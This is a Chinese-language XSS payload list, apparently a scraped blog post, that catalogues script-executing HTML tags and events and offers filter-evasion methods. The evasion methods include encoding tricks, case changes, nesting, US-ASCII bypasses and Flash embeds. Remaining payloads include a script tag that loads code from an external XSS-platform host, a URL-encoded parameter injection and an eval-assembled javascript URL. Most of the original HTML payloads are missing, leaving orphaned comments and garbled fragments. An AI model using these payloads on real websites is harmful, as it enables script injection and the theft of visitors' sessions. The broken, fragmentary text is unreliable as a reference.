XSS Payload List

标签、事件、属性

xss的攻击原理就是前端被插入了恶意的js代码,下面展示大部分可以执行js的标签、事件、属性;

标签(label)

   //过滤了等号、单引号、双引号、空格的绕过方法

>



  //其实我们并不需要一个规范的script标签 

 
//在这里我们依然可以使用那些编码 
 //不只是alert。prompt和confirm也可以弹窗 
 //可以用"/"来代替单引号和双引号 
 //我们还可以用char 
 // ".source"不会影响alert(7)的执行 
 //如果输出是在setTimeout里,我们依然可以直接执行alert(1)


">

?url=

Chrome下srcdoc属性


JS代码注入,意味着无需< >

?query%5Border_No%5D=&query%5Bm
obile%5D=%27%2balert`1`%2b%27

?query[order_No]=&query[m
obile]='+alert`1`+'


绕过过滤的方式

白盒

  • 阅读代码,查看开发写的过滤方法是怎么过滤的,针对性的看有什么是可以pass的

黑盒就尝试下面的方法

  • 转编码、进制、混合编码
<script src=//xss.tw/3058></script>
"  引号
   空格
<    <
>    >
  • 大小写
  • 多层嵌套
  • 尝试一下其它标签、属性、事件


代替空格



M


最短xss 20个字符

M


可以尝试的标签

// US_ASCII编码(库尔特发现)。使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互
?scriptualert(EXSSE)?/scriptu

]]>

flash注入 embed标签 
 

embed标签可以嵌入FLASH,其中包涵XSS;

 //chrome 
 //firefox


.swf

Code: a="get";
b="URL("";
c="javascript:";
d="alert(XSS);")";
eval(a+b+c+d);

参考

https://www.leavesongs.com/PENETRATION/xss-collect.html

你可能感兴趣的:(XSS Payload List)